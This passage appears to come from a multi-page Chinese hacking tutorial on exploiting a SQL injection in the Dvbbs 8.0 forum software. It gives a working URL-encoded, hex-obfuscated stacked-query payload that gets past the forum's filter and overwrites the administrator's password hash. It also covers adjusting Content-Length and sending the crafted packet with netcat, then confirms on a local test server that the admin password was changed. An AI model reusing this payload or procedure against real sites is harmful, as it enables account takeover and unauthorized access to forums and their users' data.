接下来的操作可能会有点复杂,因为我们需要构造一下这个数据包再用NC提交。我们要先构造一下注入语句,例如要更改管理员用户的前台登录密码可以这样构造:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1
这段代码的原形为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_user set userpassword=@a where userid=1
这个语句的大致意思是把dv_user表里userid=1的用户密码字段userpassword更改为hackest(其中的 0x6500650065003000310063003900610062003700320036003700660032003500是这样转换出来的:先把字符hackest加密成16的MD5散列eee01c9ab7267f25,再用转换工具把eee01c9ab7267f25转换成 SQL_En字符即可),如图5、图6。


之所以要这样变形是为了绕过动网8.0的过滤,要是觉得难以理解可以多看几次然后动手实践一下即可明白。把我们构造的变形过的注入语句:●% 3Bdeclare+@a+sysname+select+@a%3D0x650065006500300031006300390061006200
3700320036003700660032003500 +update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1●插入到test.txt里的最后一行的topicid=1后面,然后计算一下数据包所增加的字符数(原数据包长度为90,现在增加的字符数为152,加起来就是242),所以把 Content-Length后面的90改为242再保存。这里要注意的是操作一定要细心点,因为如果算错数据包长度,用NC提交的时候会不成功的。在执行NC提交操作前,我们先来看下dv_user表里的admin的userpassword字段为469e80d32c0559f8,如图7。

接下来就是用NC提交数据包了,把nc.exe和test.txt放在同一个目录下(我这里是放在C盘根目录下),然后执行●nc 127.0.0.1 80●,如图8。

看到这样的返回信息,如无意外就已经成功更改了管理员admin的前台登录密码了。由于我是本机架设的测试环境,可以极方便的查看数据的变动。先去看看成功了没有,明显已经成功了。userpassword已经由原来的admin888的16位MD5(469e80d32c0559f8)变成了 hackest的16位MD5(eee01c9ab7267f25),如图9。

该漏洞测试成功了,
上一页 [1] [2] [3] 下一页